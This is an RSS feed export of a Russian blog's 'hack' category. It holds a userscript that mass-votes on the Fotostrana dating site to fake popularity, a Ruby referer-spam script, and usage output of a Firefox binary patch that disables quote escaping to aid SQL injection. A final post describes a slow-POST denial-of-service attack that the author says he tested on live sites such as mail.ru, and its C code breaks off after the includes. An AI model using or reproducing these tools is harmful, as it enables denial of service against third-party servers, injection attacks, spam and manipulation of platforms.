<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; hack</title>
	<atom:link href="http://blog.lukmus.ru/category/hack/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>меня не любят девушки или как накрутить анкету в Фотостране</title>
		<link>http://blog.lukmus.ru/2014/04/19/fotostrana/</link>
		<comments>http://blog.lukmus.ru/2014/04/19/fotostrana/#comments</comments>
		<pubDate>Sat, 19 Apr 2014 23:22:29 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[userscript]]></category>
		<category><![CDATA[фотострана]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=2176</guid>
		<description><![CDATA[Есть такой замечательный сайт знакомств Фотострана. Там разнополые, впрочем не всегда, жаждут встретить друг друга и слиться в сексуальном экстазе в единое целое, это не мои домыслы, именно в таком ключе меня познакомили с этим сайтом, видимо у кого-то был высокий CTR на это дело. Процент реальных анкет, насколько я могу судить по своему опыту, [...]]]></description>
			<content:encoded><![CDATA[<p>Есть такой замечательный сайт знакомств <a href="http://fotostrana.ru/" rel="nofollow" target="_blank">Фотострана</a>. Там разнополые, впрочем не всегда, жаждут встретить друг друга и слиться в сексуальном экстазе в единое целое, это не мои домыслы, именно в таком ключе меня познакомили с этим сайтом, видимо у кого-то был высокий CTR на это дело. Процент реальных анкет, насколько я могу судить по своему опыту, там гораздо больше чем в ВК, а следовательно вероятность реальной встречи, <del datetime="2014-04-19T19:56:05+00:00">что само по себе звучит ужасающе для компьютерных социопатов</del>, довольно велика. Разумеется, чтобы анкету заметили пачки нимфоманок с бешенством матки или крутые поцаны со спермотоксикозом и рваной ширинкой, необходимо сначала грамотно засветить свой мужественный/женственный профиль. О том, как автоматизировать долгий процесс популяризации анкеты здесь и пойдет речь.<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2014/04/chinaso18.png" alt="В Твиттере Lukmus раскрылся как секссимвол" title="lukmustar" width="517" height="1244" class="alignnone size-full wp-image-2186" /><br />
<span id="more-2176"></span><br />
Понятие популярности в Фотостране довольно относительно, там существует определенное количество разных конкурсов и встроенных приложений, активное участие в которых косвенно повышает просмотры анкеты. Я буду считать задачу выполненной если показатель популярности анкеты (левый нижний угол на странице профиля) изменяется от <span style="color: #9b050d;">Низкая популярность</span> до <span style="color: #70c207;">Высокая популярность</span> и <span style="color: #bc0a6f;">Крутая популярность</span>.</p>
<p>Нам понадобятся следующие конкурсы (я буду называть их так): <a href='http://fotostrana.ru/meeting/?fromServiceBlock=0&#038;ls=0'>Встречи</a> (скрипт meeting), <a href='http://fotostrana.ru/rating/?h=1'>Лицо с обложки</a> (fsrating) и <a href='http://fotostrana.ru/contest'>Голосование Мисс/Мистер</a> (contest).</p>
<h2>Userscript</h2>
<p>Суть накрутки популярности заключается в автоматизации процесса голосования в приведенных выше конкурсах. Для автоматизации я предлагаю использовать Userscript. Что такое Userscript и как его устанавливать я уже описывал <a href='http://blog.lukmus.ru/2012/09/30/byistryiy-vhod-v-vk-pri-pomoshhi-userscript/'>ранее</a>.</p>
<p>Собственно сам скрипт:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// ==UserScript==</span>
<span style="color: #006600; font-style: italic;">// @name        fs_like_click</span>
<span style="color: #006600; font-style: italic;">// @author Lukmus (blog.lukmus.ru)</span>
<span style="color: #006600; font-style: italic;">// @namespace   fotostrana.ru</span>
<span style="color: #006600; font-style: italic;">// @include     about:addons</span>
<span style="color: #006600; font-style: italic;">// @version     1.0</span>
<span style="color: #006600; font-style: italic;">// @require  http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js</span>
<span style="color: #006600; font-style: italic;">// ==/UserScript==</span>
&nbsp;
<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>window<span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">undefined</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066; font-weight: bold;">var</span> w<span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> unsafeWindow <span style="color: #339933;">!=</span> <span style="color: #003366; font-weight: bold;">undefined</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        w <span style="color: #339933;">=</span> unsafeWindow
    <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>w <span style="color: #339933;">=</span> window<span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>w.<span style="color: #660066;">self</span> <span style="color: #339933;">!=</span> w.<span style="color: #660066;">top</span><span style="color: #009900;">&#41;</span><span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span>
&nbsp;
    alert<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'fs photo click &amp; contest click 10k with if loaded'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/http:\/\/fotostrana.ru\/\?fsrating=(.)+/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>w.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    	<span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #CC0000;">10000</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		setTimeout<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		  <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span><span style="">Math</span>.<span style="color: #660066;">random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #CC0000;">10</span><span style="color: #339933;">&gt;</span><span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span>
		    $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.ibtn.ibtn-big.ibtn-blue.fsr-photo-like'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		  <span style="color: #000066; font-weight: bold;">else</span>
		    $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#fsr-photo-next-arrow'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>i<span style="color: #339933;">*</span><span style="color: #CC0000;">2000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/http:\/\/fotostrana.ru\/contest\/(.)+/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>w.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
    	<span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #CC0000;">10000</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	        <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">==</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span>delay<span style="color: #339933;">=</span><span style="color: #CC0000;">10000</span><span style="color: #339933;">;</span> <span style="color: #000066; font-weight: bold;">else</span> delay<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
&nbsp;
		setTimeout<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		  strs<span style="color: #339933;">=</span><span style="color: #009966; font-style: italic;">/.+addPaid.+/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.contest-btn.contest-btn-big.contest-popup-main-btn-vote'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'onclick'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		  <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>strs<span style="color: #009900;">&#41;</span>
		    $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.contest-btn.contest-btn-big.contest-popup-main-btn-vote'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		  <span style="color: #000066; font-weight: bold;">else</span>
		    contestApp.<span style="color: #660066;">popupMain</span>.<span style="color: #660066;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>delay<span style="color: #339933;">+</span>i<span style="color: #339933;">*</span><span style="color: #CC0000;">2000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/http:\/\/fotostrana.ru\/meeting(\/)?/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>window.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
      <span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&lt;</span><span style="color: #CC0000;">10000</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	setTimeout<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.meeting-btn-bc.meeting-btn-bc-mb.btn.btn-big.btn-big-mb'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>i<span style="color: #339933;">*</span><span style="color: #CC0000;">2000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>window<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>В работе скрипта сможет разобраться любой, кто хоть чуть-чуть знает JavasScript и JQuery. Для не обладающих тайным знанием JS следует знать, что <code>alert('fs photo click &#038; contest click 10k with if loaded');</code> можно безболезненно удалить или закомментировать, если это предупреждение выводит из себя.</p>
<h2>Эксплуатация</h2>
<p>После того как Userscript успешно установлен, открываем в браузере Фотострану, логинимся и открываем 3 вкладки: Встречи, Лицо с обложки и Голосование Мисс/Мистер.</p>
<h3>Голосование Мисс/Мистер</h3>
<p>Помимо захода на саму страницу голосования надо собственно выбрать какого-нибудь персонажа и нажать на него, далее процесс голосования должен запуститься автоматически, однако если этого не произойдет следует обновить страницу (URL с уже выбранным персонажем).<br />
<iframe width="517" height="426" src="http://video.yandex.ru/iframe/lookmoos/cds2zb8tjp.1213/" frameborder="0" allowfullscreen="1"></iframe></p>
<h3>Лицо с обложки</h3>
<p>Тут для запуска надо тоже первоначально выбрать кого-нибудь, в случае если скрипт не стартанул нужно также обновить страницу.<br />
<iframe width="517" height="426" src="http://video.yandex.ru/iframe/lookmoos/xui9wop6ks.3212/" frameborder="0" allowfullscreen="1"></iframe></p>
<h3>Встречи</h3>
<p>Здесь никого выбирать не надо, скрипт должен сразу начать голосовать, но если этого не произошло опять же обновляем страницу. Выбирать во Встречах можно не более 100 раз в час, скрипт автоматически выбирает не &#8220;Да&#8221;, а &#8220;Возможно&#8221;, но Фотострана учитывает и этот ответ тоже как положительный.<br />
<iframe width="517" height="426" src="http://video.yandex.ru/iframe/lookmoos/2z9tglp32d.7647/" frameborder="0" allowfullscreen="1"></iframe></p>
<p>Собственно теперь остается только открыть три вкладки и свернуть браузер, через 3-5 часов ваша популярность взлетит до небес. Причиной такого неожиданного роста внимания к вашей персоне &#8211; любопытство и благодарность, если вы за кого-то голосуете или вам &#8220;нравится&#8221; чья-то фотография, то в Фотостране вас за это обязательно отблагодарят ни о чем не подозревающие дамочки по ту сторону монитора.</p>
<p><meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2014/04/chinaso18.png" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2014/04/19/fotostrana/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>referer-спам</title>
		<link>http://blog.lukmus.ru/2012/02/04/referer-spam/</link>
		<comments>http://blog.lukmus.ru/2012/02/04/referer-spam/#comments</comments>
		<pubDate>Sat, 04 Feb 2012 04:37:36 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[RefControl]]></category>
		<category><![CDATA[referer]]></category>
		<category><![CDATA[ruby 1.9]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=1222</guid>
		<description><![CDATA[Я частенько смотря статистику молодых сайтов или не столь популярных сайтов (типо этого блога), интересуюсь с какого сайта зашли на мой. Хотя бы для того чтобы узнать где размещена молодая ссылка на мой сайт т.к. в статистиках/счетчиках она быстрее зафиксируется, чем в инструментах вебмастера от Яндекса или Гугла. Порой перехожу по этим ссылкам. Ну, а [...]]]></description>
			<content:encoded><![CDATA[<p>Я частенько смотря статистику молодых сайтов или не столь популярных сайтов (типо этого блога), интересуюсь с какого сайта зашли на мой. Хотя бы для того чтобы узнать где размещена молодая ссылка на мой сайт т.к. в статистиках/счетчиках она быстрее зафиксируется, чем в инструментах вебмастера от Яндекса или Гугла. Порой перехожу по этим ссылкам. Ну, а какой URL фигурирует в статистиках, разумеется тот который указан в Referer заголовка HTTP-запроса.<br />
Короче, я думаю, что реферерами в статистике интересуюсь не только я.<br />
<a href="http://blog.lukmus.ru/wp-content/uploads/2012/02/morning-glory-hole-in-the-water.jpg"><img class="aligncenter size-full wp-image-1223" title="morning-glory-hole-in-the-water" src="http://blog.lukmus.ru/wp-content/uploads/2012/02/morning-glory-hole-in-the-water.jpg" alt="" width="517" height="400" /></a><span id="more-1222"></span><br />
Исходя из всего вышесказанного, я считаю, что можно увеличивать посещаемость сайта засчет ссылок в реферерах. Короче говоря, я сделал следующим образом.</p>
<h3>почему нужен браузер</h3>
<p>Сделать простой скриптик, который бы заходил на все подряд сайты имея при этом в заголовке нужный нам реферер не вариант т.к. он прокатит только в том случае если статистику ведет какой-нибудь серверный скрипт/плагин к CMS итд, в случае если веб-мастер смотрит статистику через всякие JS-ые штуки типа Яндекс.Метрика или Google Analytics, а такой расклад преобладает, наш реферер никуда не запишется т.к. простенький скриптик, мягко говоря, не умеет интерпретировать JavaScript.</p>
<p>Собственно поэтому нам нужен полноценный браузер.</p>
<h3>firefox &amp; RefControl</h3>
<p>Т.к. я в основном пользуюсь FF, я рассматривал только его.<br />
Изменить заголовок пакета, в том числе и referer, в FF можно миллиардом разных плагинов, но чтобы изменить его 1 раз для всех сайтов и всех запросов больше не заходя в настройки нужен только 1 плагин  &#8211; RefControl.<br />
Короче, устанавливаем этот RefControl в FF и настраиваем, благо там все элементарно. Лично я настроил так:<br />
<a href="http://blog.lukmus.ru/wp-content/uploads/2012/02/people3.png"><img class="aligncenter size-full wp-image-1226" title="people3" src="http://blog.lukmus.ru/wp-content/uploads/2012/02/people3.png" alt="" width="517" height="299" /></a><br />
И вам тоже советую настроить также, <span style="text-decoration: line-through;">поставить Referer как http://ii.lukmus.ru/</span>.</p>
<p>На этом я и остановился, я также как и всегда лазию по инету, но еще и оставляю ссылку на себя.</p>
<h3>автоматический вариант. суперкостыли</h3>
<p>Лично я считаю, что сайты,  веб-мастера которых смотрят рефереры на свои сайты, лежат <a rel="nofollow" href="http://blogs.yandex.ru/top/standalone/?page=0" target="_blank">здесь</a>, причем на странице где-то больше 300-ой.<br />
Поэтому предлагаю вот такой скриптик на Ruby, который парсит яндекс.блоги и загружает их поочереди в FF.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'net/http'</span> 
&nbsp;
http<span style="color: #339933;">=</span>Net<span style="color: #339933;">::</span><span style="color: #004000;">HTTP</span><span style="color: #339933;">.</span><span style="color: #000000; font-weight: bold;">new</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'blogs.yandex.ru'</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">300</span><span style="color: #339933;">..</span><span style="color: #cc66cc;">1000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">each</span> <span style="color: #b1b100;">do</span> <span style="color: #339933;">|</span>page<span style="color: #339933;">|</span>
  path<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;/top/standalone/?page=#{page}&quot;</span>
  resp<span style="color: #339933;">,</span>data<span style="color: #339933;">=</span>http<span style="color: #339933;">.</span>get<span style="color: #009900;">&#40;</span>path<span style="color: #009900;">&#41;</span>
  data<span style="color: #339933;">.</span>scan<span style="color: #009900;">&#40;</span><span style="color: #339933;">/&gt;&lt;</span>\<span style="color: #339933;">/</span>a<span style="color: #339933;">&gt;&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;(http:\/\/.+?)&quot;</span> title<span style="color: #339933;">=/</span>i<span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>
    collect<span style="color: #009900;">&#123;</span><span style="color: #339933;">|</span>l<span style="color: #339933;">|</span> l<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">.</span><span style="color: #990000;">each</span> <span style="color: #b1b100;">do</span> <span style="color: #339933;">|</span><span style="color: #990000;">link</span><span style="color: #339933;">|</span>
    <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;firefox #{link}&quot;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #990000;">sleep</span> <span style="color: #cc66cc;">10</span> <span style="color: #666666; font-style: italic;">#время на прогрузку страницы
</span>    <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;killall firefox&quot;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#each
</span><span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#each</span></pre></td></tr></table></div>

<p>Разумеется окно FF будет раздражительно появляться и исчезать на экране, и чтобы сэкономить нервные клетки предлагаю запускать подобные вещи в виртуальной машине.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2012/02/04/referer-spam/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>сексуальный Firefox от SynQ</title>
		<link>http://blog.lukmus.ru/2011/04/17/seksualnyiy-firefox-ot-synq/</link>
		<comments>http://blog.lukmus.ru/2011/04/17/seksualnyiy-firefox-ot-synq/#comments</comments>
		<pubDate>Sun, 17 Apr 2011 13:27:02 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[настройка и установка]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[sexy]]></category>
		<category><![CDATA[SQL-inj]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=973</guid>
		<description><![CDATA[Я не имею никакое отношение к этой штуке, мне она просто очень понравилась. Все благодарности и восторженные вопли поправу должны принадлежать SynQ. В кратце опишу, что SynQ придумал и реализовал. Всем известно что начиная с 3.0 Firefox стал экранировать разного рода ковычки (&#8216;,&#8221;,`), а SynQ реализовал патч к FF. Причем он сделал патчи и под [...]]]></description>
			<content:encoded><![CDATA[<p>Я не имею никакое отношение к этой штуке, мне она просто очень понравилась. Все благодарности и восторженные вопли поправу должны принадлежать <a rel="nofollow" href="https://rdot.org/forum/member.php?u=344" target="_blank">SynQ</a>.</p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2011/04/sexyff.png"><img class="aligncenter size-full wp-image-974" title="sexyff" src="http://blog.lukmus.ru/wp-content/uploads/2011/04/sexyff.png" alt="" width="517" height="407" /></a><span id="more-973"></span><br />
В кратце опишу, что SynQ придумал и реализовал.</p>
<p>Всем известно что начиная с 3.0 Firefox стал экранировать разного рода ковычки (&#8216;,&#8221;,`), а SynQ реализовал патч к FF. Причем он сделал патчи и под Windows и под Linux. Вообщем, большое ему спасибо и вселенское уважение.</p>
<h2>Сама тема и патч &#8211; <a href="https://rdot.org/forum/showthread.php?t=1403" target="_blank">https://rdot.org/forum/showthread.php?t=1403</a></h2>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># uname -a
</span>Linux 2<span style="color: #339933;">.</span>6<span style="color: #339933;">.</span>34<span style="color: #339933;">.</span>7<span style="color: #339933;">-</span><span style="color: #cc66cc;">56</span><span style="color: #339933;">.</span>fc13<span style="color: #339933;">.</span>x86_64
<span style="color: #666666; font-style: italic;"># find / -name libxul.so
</span><span style="color: #339933;">/</span>usr<span style="color: #339933;">/</span>lib64<span style="color: #339933;">/</span>thunderbird<span style="color: #339933;">-</span><span style="color:#800080;">3.1</span><span style="color: #339933;">/</span>libxul<span style="color: #339933;">.</span>so
<span style="color: #339933;">/</span>usr<span style="color: #339933;">/</span>lib64<span style="color: #339933;">/</span>xulrunner<span style="color: #339933;">-</span>1<span style="color: #339933;">.</span>9<span style="color: #339933;">.</span>2<span style="color: #339933;">/</span>libxul<span style="color: #339933;">.</span>so
&nbsp;
<span style="color: #666666; font-style: italic;"># chmod a+x make_ff_sexy
</span><span style="color: #666666; font-style: italic;"># ./make_ff_sexy
</span>Make FF Sexy<span style="color: #339933;">!</span>
&nbsp;
USAGE<span style="color: #339933;">:</span> <span style="color: #339933;">./</span>make_ff_sexy <span style="color: #009900;">&#91;</span>version<span style="color: #009900;">&#93;</span> <span style="color: #339933;">/</span>path<span style="color: #339933;">/</span>to<span style="color: #339933;">/</span>libxul<span style="color: #339933;">.</span>so
Versions<span style="color: #339933;">:</span>
<span style="color: #cc66cc;">1</span> <span style="color: #339933;">-</span> patch <span style="color: #b1b100;">for</span> single quote <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">')
2 - patch for double-quote (&quot;)
3 - patch for backquote (`)
4 - 1+2 versions
5 - 1+3 versions
6 - 2+3 versions
7 - 1+2+3 versions
Example: ./make_ff_sexy 7 /usr/lib/xulrunner-2.0/libxul.so
&nbsp;
Patch v1.0 for rdot.org
# ./make_ff_sexy 7 /usr/lib64/xulrunner-1.9.2/libxul.so
Patched Succesfully!</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2011/04/17/seksualnyiy-firefox-ot-synq/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>реализация DoS медленного POST</title>
		<link>http://blog.lukmus.ru/2010/11/10/realizatsiya-dos-medlennogo-post/</link>
		<comments>http://blog.lukmus.ru/2010/11/10/realizatsiya-dos-medlennogo-post/#comments</comments>
		<pubDate>Wed, 10 Nov 2010 10:58:13 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[POST]]></category>
		<category><![CDATA[release]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=589</guid>
		<description><![CDATA[8-го ноября была опубликована новость о новой уязвимости HTTP, а так же некоторых других протоколов прикладного уровня: ﻿Уязвимость опирается на так называемый «медленный» POST-трафик, который затруднительно дифференцировать от законного обмена данными. DDOS-атаки легко проводить в окружении многопользовательских онлайновых игр как среды распределенных компьютерных сетей, затрагивающих массу вычислительных систем. Что интересно, «медленная» POST-технология может быть вполне [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/11/attack-of-the-bots_1.jpg"><img class="alignleft size-full wp-image-591" title="attack-of-the-bots_1" src="http://blog.lukmus.ru/wp-content/uploads/2010/11/attack-of-the-bots_1.jpg" alt="" width="156" height="200" /></a>8-го ноября была опубликована новость о новой уязвимости HTTP, а так же некоторых других протоколов прикладного уровня:</p>
<blockquote><p>﻿Уязвимость опирается на так называемый «медленный» POST-трафик, который затруднительно дифференцировать от законного обмена данными. DDOS-атаки легко проводить в окружении многопользовательских онлайновых игр как среды распределенных компьютерных сетей, затрагивающих массу вычислительных систем.<span id="more-589"></span></p></blockquote>
<blockquote><p>Что интересно, «медленная» POST-технология может быть вполне адаптирована для работы с SMTP и даже DNS-серверами. Атака работает так: вредоносный код отправляет POST-заголовки с легитимно заполненными полями, касающимися размеров готовящихся к передаче данных, однако последние затем передаются на очень низких скоростях, что приводит к формированию «заторов» на серверах и связыванию их системных ресурсов. Достаточно нескольких десятков тысяч ботов, чтобы отключить сервер. Балансирующее нагрузку ПО, ныне используемое для предотвращения DDOS-атак, не эффективно против новой методики.</p></blockquote>
<p>В общем суть сводится к тому что мы посылаем совершенно обыкновенный POST, где data идет очень долго, иначе говоря data&#8217;у посылаем посимвольно с задержками.</p>
<p>Проверял на нескольких сайтах, где-то обрывают соединение не понятно почему, где-то нет. Вероятно, не работает там, где используется nginx как front-end. Что удивительно, как будто этот код написан под mail.ru, там идет как литое.</p>
<p>Реализация на C под Linux:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;sys/socket.h&gt;</span>
<span style="color: #339933;">#include &lt;netdb.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#include &lt;string.h&gt;</span>
&nbsp;
